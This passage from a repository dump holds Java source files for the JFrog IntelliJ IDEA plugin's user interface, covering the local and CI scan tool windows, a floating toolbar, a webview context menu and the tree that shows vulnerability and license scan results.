buildGeneralInfo.getStatus() == null ||\n                isAnyBlank(vcs.getBranch(), vcs.getMessage(), buildGeneralInfo.getPath())) {\n            seeMore.init(project, \"See more in this view\", \"https://github.com/jfrog/jfrog-idea-plugin#the-ci-view\");\n        } else {\n            seeMore.init(project, \"\", \"\");\n        }\n    }\n\n    private void setVcsInformation(BuildGeneralInfo buildGeneralInfo) {\n        Vcs vcs = buildGeneralInfo != null ? buildGeneralInfo.getVcs() : null;\n        if (vcs == null) {\n            setTextAndIcon(branch, \"\", null);\n            setTextAndIcon(commit, \"\", null);\n            return;\n        }\n        setTextAndIcon(branch, vcs.getBranch(), AllIcons.Vcs.Branch);\n        setTextAndIcon(commit, vcs.getMessage(), AllIcons.Vcs.CommitNode);\n    }\n\n    private void setBuildLogLink(BuildGeneralInfo buildGeneralInfo) {\n        String link = buildGeneralInfo != null ? buildGeneralInfo.getPath() : null;\n        linkButton.init(project, \"Build Log\", link);\n    }\n\n    private JLabel createAndAddLabelWithTooltip(String tooltip, JPanel buildStatusPanel) {\n        JLabel jLabel = new JBLabel();\n        jLabel.setToolTipText(tooltip);\n        buildStatusPanel.add(jLabel);\n        return jLabel;\n    }\n\n    private void setTextAndIcon(JLabel label, String message, Icon icon) {\n        if (isBlank(message)) {\n            label.setText(\"\");\n            label.setIcon(null);\n            return;\n        }\n        label.setText(message);\n        label.setIcon(icon);\n    }\n\n    /**\n     * Called after a change in the credentials.\n     */\n    @Override\n    public void onConfigurationChange() {\n        rightVerticalSplit.setSecondComponent(createMoreInfoView(true));\n        super.onConfigurationChange();\n        issuesTable.addTableSelectionListener(moreInfoPanel);\n    }\n\n    /**\n     * Create the components tree panel.\n     *\n     * @return the components tree panel\n     */\n    private JComponent createComponentsTreeView() {\n        JPanel componentsTreePanel = new JBPanel<>(new BorderLayout()).withBackground(UIUtil.getTableBackground());\n        JLabel componentsTreeTitle = new JBLabel(getComponentsTreeTitle());\n        componentsTreeTitle.setFont(componentsTreeTitle.getFont().deriveFont(TITLE_FONT_SIZE));\n        componentsTreePanel.add(componentsTreeTitle, BorderLayout.LINE_START);\n        JPanel treePanel = new JBPanel<>(new GridLayout()).withBackground(UIUtil.getTableBackground());\n        TreeSpeedSearch treeSpeedSearch = new TreeSpeedSearch(componentsTree, true, ComponentUtils::getPathSearchString);\n        treePanel.add(treeSpeedSearch.getComponent(), BorderLayout.WEST);\n        JScrollPane treeScrollPane = ScrollPaneFactory.createScrollPane(treePanel);\n        treeScrollPane.getVerticalScrollBar().setUnitIncrement(SCROLL_BAR_SCROLLING_UNITS);\n        return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, componentsTreePanel, treeScrollPane);\n    }\n\n    /**\n     * Return the selected nodes in the dependency tree.\n     *\n     * @return the selected nodes in the dependency tree\n     */\n    List<DependencyTree> getSelectedNodes() {\n        if (componentsTree.getModel() == null) {\n            return Lists.newArrayList();\n        }\n        // If no node selected - Return the root\n        if (componentsTree.getSelectionPaths() == null) {\n            return Lists.newArrayList((DependencyTree) componentsTree.getModel().getRoot());\n        }\n        return Arrays.stream(componentsTree.getSelectionPaths())\n                .map(TreePath::getLastPathComponent)\n                .map(obj -> (DependencyTree) obj)\n                .collect(Collectors.toList());\n    }\n\n    /**\n     * Update the issues table according to the user choice in the dependency tree.\n     */\n    public void updateIssuesTable() {\n        List<DependencyTree> selectedNodes = getSelectedNodes();\n        issuesTable.updateIssuesTable(getIssuesToDisplay(selectedNodes), selectedNodes);\n    }\n\n    /**\n     * Create the issues details panel. That is the bottom right issues table.\n     *\n     * @return the issues details panel\n     */\n    private JComponent createComponentsIssueDetailView() {\n        issuesTable = new ComponentIssuesTable();\n        JScrollPane tableScroll = ScrollPaneFactory.createScrollPane(issuesTable, SideBorder.ALL);\n        tableScroll.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);\n        JLabel title = new JBLabel(\" Vulnerabilities\");\n        title.setFont(title.getFont().deriveFont(TITLE_FONT_SIZE));\n        return new TitledPane(JSplitPane.VERTICAL_SPLIT, TITLE_LABEL_SIZE, title, tableScroll);\n    }\n\n    @Override\n    void resetViews() {\n        if (componentsTree != null) {\n            componentsTree.reset();\n        }\n        if (issuesTable != null) {\n            issuesTable.reset();\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JFrogFloatingToolbar.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.Disposable;\nimport com.intellij.openapi.actionSystem.DataContext;\nimport com.intellij.openapi.actionSystem.PlatformDataKeys;\nimport com.intellij.openapi.editor.toolbar.floating.AbstractFloatingToolbarProvider;\nimport com.intellij.openapi.editor.toolbar.floating.FloatingToolbarComponent;\nimport com.intellij.openapi.fileEditor.FileEditor;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.MessageBusConnection;\nimport com.jfrog.ide.idea.events.AnnotationEvents;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * @author yahavi\n **/\npublic class JFrogFloatingToolbar extends AbstractFloatingToolbarProvider implements Disposable {\n    private MessageBusConnection projectBusConnection;\n    private Map<String, FloatingToolbarComponent> filesToolbarComponents;\n    private Set<String> changedFiles;\n\n\n    public JFrogFloatingToolbar() {\n        super(\"JFrog.Floating\");\n        filesToolbarComponents = new HashMap<>();\n        changedFiles = new HashSet<>();\n    }\n\n    @Override\n    public boolean getAutoHideable() {\n        return false;\n    }\n\n    @Override\n    public void register(@NotNull DataContext dataContext, @NotNull FloatingToolbarComponent component, @NotNull Disposable parentDisposable) {\n        super.register(dataContext, component, parentDisposable);\n        FileEditor fileEditor = dataContext.getData(PlatformDataKeys.FILE_EDITOR);\n        if (fileEditor == null || fileEditor.getFile() == null) {\n            return;\n        }\n        Project project = dataContext.getData(PlatformDataKeys.PROJECT);\n        if (project == null) {\n            return;\n        }\n        if (projectBusConnection == null) {\n            projectBusConnection = project.getMessageBus().connect(this);\n            registerOnChangeHandlers();\n        }\n        filesToolbarComponents.put(fileEditor.getFile().getPath(), component);\n        if (changedFiles.contains(fileEditor.getFile().getPath())) {\n            component.scheduleShow();\n        }\n\n        Descriptor descriptor = Descriptor.fromFileName(fileEditor.getFile().getName());\n        if (descriptor == null) {\n            return;\n        }\n        LocalComponentsTree localComponentsTree = LocalComponentsTree.getInstance(project);\n        if (localComponentsTree.isCacheEmpty() || localComponentsTree.isCacheExpired()) {\n            component.scheduleShow();\n        }\n    }\n\n    private void registerOnChangeHandlers() {\n        projectBusConnection.subscribe(AnnotationEvents.ON_IRRELEVANT_RESULT, (AnnotationEvents) this::updateFileChanged);\n        projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_STARTED, (ApplicationEvents) this::clear);\n    }\n\n    private void clear() {\n        this.changedFiles = new HashSet<>();\n        filesToolbarComponents.values().forEach(FloatingToolbarComponent::scheduleHide);\n        filesToolbarComponents = new HashMap<>();\n    }\n\n    private void updateFileChanged(String filePath) {\n        changedFiles.add(filePath);\n        FloatingToolbarComponent jfrogToolBar = filesToolbarComponents.get(filePath);\n        if (jfrogToolBar != null) {\n            jfrogToolBar.scheduleShow();\n        }\n    }\n\n    @Override\n    public void dispose() {\n        // Disconnect and release resources from the application bus connection\n        projectBusConnection.disconnect();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JFrogLocalToolWindow.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.actionSystem.ActionManager;\nimport com.intellij.openapi.actionSystem.Constraints;\nimport com.intellij.openapi.actionSystem.DefaultActionGroup;\nimport com.intellij.openapi.actionSystem.Separator;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.projectRoots.impl.jdkDownloader.RuntimeChooserUtil;\nimport com.intellij.openapi.util.Disposer;\nimport com.intellij.ui.*;\nimport com.intellij.ui.components.JBLabel;\nimport com.intellij.ui.components.JBPanel;\nimport com.intellij.ui.jcef.JBCefApp;\nimport com.intellij.ui.jcef.JBCefBrowser;\nimport com.intellij.util.ui.UIUtil;\nimport com.jfrog.ide.common.nodes.*;\nimport com.jfrog.ide.idea.actions.CollapseAllAction;\nimport com.jfrog.ide.idea.actions.ExpandAllAction;\nimport com.jfrog.ide.idea.actions.GoToSettingsAction;\nimport com.jfrog.ide.idea.actions.ScanTimeLabelAction;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.inspections.JumpToCode;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.ui.utils.ComponentUtils;\nimport com.jfrog.ide.idea.ui.webview.WebviewManager;\nimport com.jfrog.ide.idea.ui.webview.WebviewObjectConverter;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport javax.swing.tree.TreeSelectionModel;\nimport java.awt.*;\nimport java.io.IOException;\nimport java.net.URISyntaxException;\n\nimport static com.jfrog.ide.idea.ui.JFrogToolWindow.SCROLL_BAR_SCROLLING_UNITS;\nimport static com.jfrog.ide.idea.ui.webview.event.model.WebviewEvent.Type.SHOW_PAGE;\n\n/**\n * @author yahavi\n */\npublic class JFrogLocalToolWindow extends AbstractJFrogToolWindow {\n    private final LocalComponentsTree componentsTree;\n    private final OnePixelSplitter verticalSplit;\n    private JPanel leftPanelContent;\n    private JComponent compTreeView;\n    private boolean isInitialized;\n    private IssueNode selectedIssue;\n    private WebviewManager webviewManager;\n\n    /**\n     * @param project - Currently opened IntelliJ project\n     */\n    public JFrogLocalToolWindow(@NotNull Project project) {\n        super(project);\n        componentsTree = LocalComponentsTree.getInstance(project);\n        JPanel leftPanel = new JBPanel<>(new BorderLayout());\n        verticalSplit = new OnePixelSplitter(false, 0.4f);\n        verticalSplit.setFirstComponent(leftPanel);\n        setContent(verticalSplit);\n        if (!JBCefApp.isSupported()) {\n            leftPanel.add(createJcefNotSupportedView(), 0);\n            return;\n        }\n        JBCefBrowser jbCefBrowser;\n\n        try {\n            jbCefBrowser = initVulnerabilityInfoBrowser(project);\n        } catch (IOException | URISyntaxException e) {\n            Logger.getInstance().error(\"Local view couldn't be initialized.\", e);\n            leftPanel.removeAll();\n            leftPanel.add(createLoadErrorView(), 0);\n            return;\n        }\n\n        JPanel toolbar = createActionToolbar();\n        toolbar.setBorder(IdeBorderFactory.createBorder(SideBorder.BOTTOM));\n        leftPanel.add(toolbar, BorderLayout.PAGE_START);\n        leftPanelContent = new JBPanel<>(new BorderLayout());\n        leftPanel.add(leftPanelContent);\n        compTreeView = createComponentsTreeView();\n\n        alertIfCacheExpired();\n        refreshView(true);\n        registerListeners(jbCefBrowser.getComponent());\n        isInitialized = true;\n    }\n\n    @Override\n    public JPanel createActionToolbar() {\n        DefaultActionGroup actionGroup = new DefaultActionGroup(new CollapseAllAction(componentsTree), new ExpandAllAction(componentsTree),\n                new GoToSettingsAction(), new Separator(), new ScanTimeLabelAction());\n        actionGroup.addAction(ActionManager.getInstance().getAction(\"JFrog.StartLocalScan\"), Constraints.FIRST);\n        actionGroup.addAction(ActionManager.getInstance().getAction(\"JFrog.StopLocalScan\"), Constraints.FIRST);\n\n        return createJFrogToolbar(actionGroup);\n    }\n\n    /**\n     * Register the issues tree listeners.\n     */\n    public void registerListeners(JComponent browserComponent) {\n        // Xray credentials were set listener\n        appBusConnection.subscribe(ApplicationEvents.ON_CONFIGURATION_DETAILS_CHANGE, (ApplicationEvents) () -> ApplicationManager.getApplication().invokeLater(this::onConfigurationChange));\n\n        // Wrap the browser component in a Panel to avoid display issues that may occur in some versions of IntelliJ in Windows.\n        JPanel browserWrapper = new JBPanel<>();\n        browserWrapper.setLayout(new GridLayout());\n        browserWrapper.add(browserComponent);\n\n        // Component selection listener\n        componentsTree.addTreeSelectionListener(e -> {\n            if (e == null || e.getNewLeadSelectionPath() == null || !(e.getNewLeadSelectionPath().getLastPathComponent() instanceof IssueNode)) {\n                verticalSplit.setSecondComponent(null);\n                return;\n            }\n\n            selectedIssue = (IssueNode) e.getNewLeadSelectionPath().getLastPathComponent();\n            updateIssueOrLicenseInWebview(selectedIssue);\n            verticalSplit.setSecondComponent(browserWrapper);\n        });\n        projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_STARTED, (ApplicationEvents) () -> {\n            setLeftPanelContent(compTreeView);\n            ApplicationManager.getApplication().invokeLater(this::resetViews);\n        });\n        projectBusConnection.subscribe(ApplicationEvents.ON_SCAN_LOCAL_CANCELED, (ApplicationEvents) () -> {\n            ApplicationManager.getApplication().invokeLater(this::initialView);\n        });\n        componentsTree.addRightClickListener();\n    }\n\n    private void alertIfCacheExpired() {\n        if (!componentsTree.isCacheEmpty() && componentsTree.isCacheExpired()) {\n            Logger.showActionableBalloon(project,\n                    \"The scan results have expired.\\nClick <a href=\\\"here\\\">here</a> to trigger a scan.\", () ->\n                            ScanManager.getInstance(project).startScan());\n        }\n    }\n\n    private void refreshView(boolean reloadCredentials) {\n        GlobalSettings globalSettings = GlobalSettings.getInstance();\n        if ((!reloadCredentials && !globalSettings.areXrayCredentialsSet()) ||\n                !globalSettings.reloadMissingConfiguration()) {\n            setLeftPanelContent(ComponentUtils.createNoCredentialsView());\n            return;\n        }\n        if (componentsTree.isCacheEmpty() && !ScanManager.getInstance(project).isScanInProgress()) {\n            initialView();\n            return;\n        }\n        setLeftPanelContent(compTreeView);\n    }\n\n    private JComponent createReadyEnvView() {\n        JPanel readyEnvPanel = new JBPanel<>();\n        readyEnvPanel.setLayout(new BoxLayout(readyEnvPanel, BoxLayout.PAGE_AXIS));\n\n        // \"We're all set!\"\n        JBLabel allSetLabel = new JBLabel();\n        allSetLabel.setText(\"We're all set.\");\n        ComponentUtils.addCenteredComponent(readyEnvPanel, allSetLabel);\n\n        // \"Scan your project\"\n        HyperlinkLabel scanLink = new HyperlinkLabel();\n        scanLink.setTextWithHyperlink(\"<hyperlink>Scan your project</hyperlink>\");\n        scanLink.addHyperlinkListener(e -> ScanManager.getInstance(project).startScan());\n        ComponentUtils.addCenteredComponent(readyEnvPanel, scanLink);\n\n        return ComponentUtils.createUnsupportedPanel(readyEnvPanel);\n    }\n\n    private JComponent createJcefNotSupportedView() {\n        JPanel jcefNotSupportedPanel = new JBPanel<>();\n        jcefNotSupportedPanel.setLayout(new BoxLayout(jcefNotSupportedPanel, BoxLayout.PAGE_AXIS));\n\n        // \"Thank you for installing the JFrog IDEA Plugin!\"\n        JBLabel thanksLabel = new JBLabel();\n        thanksLabel.setText(\"Thank you for installing the JFrog IntelliJ IDEA Plugin!\");\n        ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, thanksLabel);\n\n        // \"The plugin uses a component named JCEF that seem to be missing in your IDE.\"\n        JBLabel pluginNeedsJcefLabel = new JBLabel();\n        pluginNeedsJcefLabel.setText(\"The plugin uses a component named JCEF that seem to be missing in your IDE.\");\n        ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, pluginNeedsJcefLabel);\n\n        // \"To make JCEF available in your IDE, you’ll need to have the IDE use a different boot runtime.\"\n        JBLabel replaceBootRuntimeLabel = new JBLabel();\n        replaceBootRuntimeLabel.setText(\"To make JCEF available in your IDE, you’ll need to have the IDE use a different boot runtime.\");\n        ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, replaceBootRuntimeLabel);\n\n        // \"Click here, choose a boot runtime with JCEF, restart the IDE and come back.\"\n        HyperlinkLabel scanLink = new HyperlinkLabel();\n        scanLink.setTextWithHyperlink(\"<hyperlink>Click here</hyperlink>, choose a boot runtime with JCEF, restart the IDE and come back.\");\n        scanLink.addHyperlinkListener(e -> RuntimeChooserUtil.INSTANCE.showRuntimeChooserPopup());\n        ComponentUtils.addCenteredComponent(jcefNotSupportedPanel, scanLink);\n\n        return ComponentUtils.createUnsupportedPanel(jcefNotSupportedPanel);\n    }\n\n    private JComponent createLoadErrorView() {\n        JPanel loadErrorPanel = new JBPanel<>();\n        loadErrorPanel.setLayout(new BoxLayout(loadErrorPanel, BoxLayout.PAGE_AXIS));\n\n        // \"The view couldn't be loaded.\"\n        JBLabel viewNotLoadedLabel = new JBLabel();\n        viewNotLoadedLabel.setText(\"The view couldn't be loaded.\");\n        ComponentUtils.addCenteredComponent(loadErrorPanel, viewNotLoadedLabel);\n\n        // \"Check the Notifications / Event Log for more information.\"\n        JBLabel checkLogsLabel = new JBLabel();\n        checkLogsLabel.setText(\"Check the Notifications / Event Log for more information.\");\n        ComponentUtils.addCenteredComponent(loadErrorPanel, checkLogsLabel);\n\n        return ComponentUtils.createUnsupportedPanel(loadErrorPanel);\n    }\n\n    private void setLeftPanelContent(JComponent component) {\n        leftPanelContent.removeAll();\n        leftPanelContent.add(component, 0);\n    }\n\n    private JBCefBrowser initVulnerabilityInfoBrowser(@NotNull Project project) throws IOException, URISyntaxException {\n        // When the webview is first opened, the issue/license message might be sent before the page is loaded, so we\n        // send the message again when the page is done loading.\n        webviewManager = new WebviewManager(project, () -> updateIssueOrLicenseInWebview(selectedIssue));\n        Disposer.register(this, webviewManager);\n        return webviewManager.getBrowser();\n    }\n\n    /**\n     * Create the components tree panel.\n     *\n     * @return the components tree panel\n     */\n    private JComponent createComponentsTreeView() {\n        JPanel treePanel = new JBPanel<>(new GridLayout()).withBackground(UIUtil.getTableBackground());\n        TreeSpeedSearch treeSpeedSearch = new TreeSpeedSearch(componentsTree, true, ComponentUtils::getPathSearchString);\n        treeSpeedSearch.getComponent().getSelectionModel().setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION);\n        treePanel.add(treeSpeedSearch.getComponent(), BorderLayout.WEST);\n        JScrollPane treeScrollPane = ScrollPaneFactory.createScrollPane(treePanel);\n        treeScrollPane.getVerticalScrollBar().setUnitIncrement(SCROLL_BAR_SCROLLING_UNITS);\n        treeScrollPane.setBorder(null);\n        return treeScrollPane;\n    }\n\n    private void updateIssueOrLicenseInWebview(IssueNode issueNode) {\n        if (issueNode instanceof VulnerabilityNode issue) {\n            webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertIssueToDepPage(issue));\n        } else if (issueNode instanceof ApplicableIssueNode node) {\n            webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertIssueToDepPage(node.getIssue()));\n            navigateToFile(node);\n        } else if (issueNode instanceof LicenseViolationNode license) {\n            webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertLicenseToDepPage(license));\n        } else if (issueNode instanceof SastIssueNode node) {\n            webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertSastIssueToSastIssuePage(node));\n            navigateToFile(node);\n        } else if (issueNode instanceof FileIssueNode node) {\n            webviewManager.sendMessage(SHOW_PAGE, WebviewObjectConverter.convertFileIssueToIssuePage(node));\n            navigateToFile(node);\n        }\n    }\n\n    private void navigateToFile(FileIssueNode node) {\n        JumpToCode.getInstance(project).execute(node.getFilePath(), node.getRowStart(), node.getRowEnd(), node.getColStart(), node.getColEnd());\n    }\n\n    /**\n     * Clear the component tree.\n     */\n    void resetViews() {\n        if (componentsTree != null) {\n            componentsTree.reset();\n        }\n    }\n\n    /**\n     * Called after a change in the credentials.\n     */\n    @Override\n    public void onConfigurationChange() {\n        if (componentsTree != null) {\n            try {\n                componentsTree.deleteCachedTree();\n            } catch (IOException e) {\n                Logger.getInstance().warn(\"An error occurred while trying to delete the scan results cache: \" + ExceptionUtils.getRootCauseMessage(e));\n            }\n        }\n        super.onConfigurationChange();\n        refreshView(false);\n    }\n\n    @Override\n    public void updateUI() {\n        super.updateUI();\n        if (isInitialized) {\n            refreshView(true);\n        }\n    }\n\n    public void initialView() {\n        setLeftPanelContent(createReadyEnvView());\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JFrogToolWindow.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.wm.ToolWindow;\nimport com.intellij.ui.content.Content;\nimport com.intellij.ui.content.ContentFactory;\nimport com.intellij.ui.content.ContentManager;\nimport org.jetbrains.annotations.NotNull;\n\n\n/**\n * Created by yahavi\n */\npublic class JFrogToolWindow {\n\n    public static final float TITLE_FONT_SIZE = 15f;\n    public static final int TITLE_LABEL_SIZE = (int) TITLE_FONT_SIZE + 10;\n    public static final int SCROLL_BAR_SCROLLING_UNITS = 16;\n\n    void initToolWindow(@NotNull ToolWindow toolWindow, @NotNull Project project, boolean buildsConfigured) {\n        ContentManager contentManager = toolWindow.getContentManager();\n        JFrogLocalToolWindow jfrogLocalContent = new JFrogLocalToolWindow(project);\n        JFrogCiToolWindow jFrogCiContent = new JFrogCiToolWindow(project, buildsConfigured);\n        addContent(contentManager, jfrogLocalContent, jFrogCiContent);\n    }\n\n    private void addContent(ContentManager contentManager, JFrogLocalToolWindow jfrogLocalContent, JFrogCiToolWindow jfrogBuildsContent) {\n        ContentFactory contentFactory = ContentFactory.getInstance();\n        Content localContent = contentFactory.createContent(jfrogLocalContent, \"Local\", false);\n        contentManager.addContent(localContent);\n        Content buildsContent = contentFactory.createContent(jfrogBuildsContent, \"CI\", false);\n        contentManager.addContent(buildsContent);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JFrogToolWindowFactory.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.ide.util.PropertiesComponent;\nimport com.intellij.openapi.project.DumbService;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.wm.ToolWindow;\nimport com.intellij.openapi.wm.ToolWindowFactory;\nimport com.jfrog.ide.idea.ci.CiManager;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport static com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration.BUILDS_PATTERN_KEY;\n\n/**\n * @author yahavi\n */\npublic class JFrogToolWindowFactory implements ToolWindowFactory {\n\n    @Override\n    public void createToolWindowContent(@NotNull final Project project, @NotNull final ToolWindow toolWindow) {\n        boolean buildsConfigured = isBuildsConfigured(project);\n        DumbService.getInstance(project).runWhenSmart(() -> {\n            project.getService(JFrogToolWindow.class).initToolWindow(toolWindow, project, buildsConfigured);\n            CiManager.getInstance(project).asyncRefreshBuilds();\n        });\n    }\n\n    private boolean isBuildsConfigured(Project project) {\n        String buildsPattern = PropertiesComponent.getInstance(project).getValue(BUILDS_PATTERN_KEY);\n        return StringUtils.isNotBlank(buildsPattern);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/JfrogContextMenuHandler.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport org.cef.browser.CefBrowser;\nimport org.cef.browser.CefFrame;\nimport org.cef.callback.CefContextMenuParams;\nimport org.cef.callback.CefMenuModel;\nimport org.cef.handler.CefContextMenuHandler;\n\nimport javax.swing.*;\nimport java.awt.*;\n\npublic class JfrogContextMenuHandler implements CefContextMenuHandler {\n    private static final int DEV_TOOLS_ID = 1;\n\n    @Override\n    public void onBeforeContextMenu(CefBrowser browser, CefFrame frame, CefContextMenuParams params, CefMenuModel model) {\n        model.clear();\n        model.addItem(DEV_TOOLS_ID, \"Inspect\");\n    }\n\n    @Override\n    public boolean onContextMenuCommand(CefBrowser browser, CefFrame frame, CefContextMenuParams params, int commandId, int eventFlags) {\n        if (commandId == DEV_TOOLS_ID) {\n            openDevTools(browser);\n            return true;\n        }\n        return false;\n    }\n\n    private void openDevTools(CefBrowser browser) {\n        SwingUtilities.invokeLater(() -> {\n            CefBrowser devToolsBrowser = browser.getDevTools();\n            JFrame frame = new JFrame(\"DevTools - JFrog IDE Webview\");\n            frame.setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE);\n            frame.setSize(800, 600);\n            frame.getContentPane().add(devToolsBrowser.getUIComponent(), BorderLayout.CENTER);\n            frame.setVisible(true);\n        });\n    }\n\n    @Override\n    public void onContextMenuDismissed(CefBrowser browser, CefFrame frame) {\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/LocalComponentsTree.java",
    "content": "package com.jfrog.ide.idea.ui;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.JBMenuItem;\nimport com.intellij.pom.Navigatable;\nimport com.intellij.ui.components.JBMenu;\nimport com.jfrog.ide.common.nodes.*;\nimport com.jfrog.ide.common.persistency.ScanCache;\nimport com.jfrog.ide.common.persistency.ScanCacheObject;\nimport com.jfrog.ide.idea.actions.CreateIgnoreRuleAction;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.navigation.NavigationService;\nimport com.jfrog.ide.idea.navigation.NavigationTarget;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport javax.swing.tree.DefaultMutableTreeNode;\nimport javax.swing.tree.DefaultTreeModel;\nimport javax.swing.tree.TreePath;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.MouseAdapter;\nimport java.awt.event.MouseEvent;\nimport java.awt.event.MouseListener;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.Collectors;\n\n/**\n * @author yahavi\n */\npublic class LocalComponentsTree extends ComponentsTree {\n    public static final String IGNORE_RULE_TOOL_TIP = \"Creating Ignore Rules is only available when a JFrog Project or Watch is defined.\";\n    private static final String SHOW_IN_PROJECT_DESCRIPTOR = \"Show direct dependency in project descriptor\";\n    private static final String NO_ISSUES = \"Your project was scanned and we didn't find any security issues.\";\n    private static final String ERROR_WHILE_SCANNING = \"An error occurred while your project was scanned. Please see the Notifications tab for more details.\";\n\n    private static final String SCANNING = \"Scanning...\";\n    private static final long EXPIRED_CACHE_TIME = TimeUnit.DAYS.toMillis(7); // week\n\n    private final ScanCache cache;\n\n    public LocalComponentsTree(@NotNull Project project) throws IOException {\n        super(project);\n        String projectId = project.getProjectFilePath();\n        if (StringUtils.isBlank(projectId)) {\n            projectId = project.getName();\n        }\n        cache = new ScanCache(projectId, Utils.HOME_PATH.resolve(\"cache\"), Logger.getInstance());\n        setNodesFromCache();\n    }\n\n    public static LocalComponentsTree getInstance(@NotNull Project project) {\n        return project.getService(LocalComponentsTree.class);\n    }\n\n    public void addScanResults(List<FileTreeNode> fileTreeNodes) {\n        setCellRenderer(new ComponentsTreeCellRenderer());\n        ApplicationManager.getApplication().invokeLater(() -> doAddScanResults(fileTreeNodes));\n    }\n\n    /**\n     * The primary logic of adding scan results to the components tree.\n     * NOTE: This method must be run inside EDT. It's recommended to use {@link #addScanResults(List)} instead.\n     *\n     * @param fileTreeNodes File nodes to add to the components tree.\n     */\n    void doAddScanResults(List<FileTreeNode> fileTreeNodes) {\n        SortableChildrenTreeNode root = getModel() != null ? (SortableChildrenTreeNode) getModel().getRoot() : new SortableChildrenTreeNode();\n        for (FileTreeNode node : fileTreeNodes) {\n            FileTreeNode existingNode =(FileTreeNode) Optional.ofNullable(root.getChildren())\n                    .orElseGet(Vector::new).stream()\n                    .filter(treeNode -> ((FileTreeNode) treeNode).getFilePath().equals(node.getFilePath()))\n                    .findFirst().orElse(null);\n            if (existingNode != null) {\n                existingNode.mergeFileTreeNode(node);\n                continue;\n            }\n            root.add(node);\n        }\n        root.sortChildren();\n        populateTree(root);\n    }\n\n    private void populateTree(DefaultMutableTreeNode root) {\n        toolbarPopupMenus.forEach(ToolbarPopupMenu::refresh);\n        setModel(new DefaultTreeModel(root));\n        validate();\n        repaint();\n    }\n\n    public void addRightClickListener() {\n        MouseListener mouseListener = new MouseAdapter() {\n            @Override\n            public void mousePressed(MouseEvent e) {\n                handleContextMenu(LocalComponentsTree.this, e);\n            }\n        };\n        addMouseListener(mouseListener);\n    }\n\n    private void handleContextMenu(ComponentsTree tree, MouseEvent e) {\n        if (!e.isPopupTrigger()) {\n            return;\n        }\n        // Event is right-click.\n\n        TreePath selectedPath = tree.getPathForRow(tree.getClosestRowForLocation(e.getX(), e.getY()));\n        if (selectedPath == null) {\n            return;\n        }\n        Object selected = selectedPath.getLastPathComponent();\n\n        // Create the popup menu if clicked on a package. if it's a vulnerability, create ignore rule option.\n        if (selected instanceof DependencyNode) {\n            DescriptorFileTreeNode descriptorFileTreeNode = (DescriptorFileTreeNode) selectedPath.getParentPath().getLastPathComponent();\n            String descriptorPath =  descriptorFileTreeNode.getSubtitle();\n            createNodePopupMenu((DependencyNode) selected, descriptorPath);\n        } else if (selected instanceof VulnerabilityNode) {\n            createIgnoreRuleOption((VulnerabilityNode) selected, e);\n        } else if (selected instanceof ApplicableIssueNode) {\n            createIgnoreRuleOption(((ApplicableIssueNode) selected).getIssue(), e);\n        } else {\n            return;\n        }\n        popupMenu.show(tree, e.getX(), e.getY());\n    }\n\n\n    private void createIgnoreRuleOption(VulnerabilityNode selectedIssue, MouseEvent mouseEvent) {\n        popupMenu.removeAll();\n        popupMenu.add(new CreateIgnoreRuleAction(selectedIssue.getIgnoreRuleUrl(), mouseEvent));\n        JToolTip toolTip = popupMenu.createToolTip();\n        toolTip.setToolTipText(IGNORE_RULE_TOOL_TIP);\n        toolTip.setEnabled(true);\n    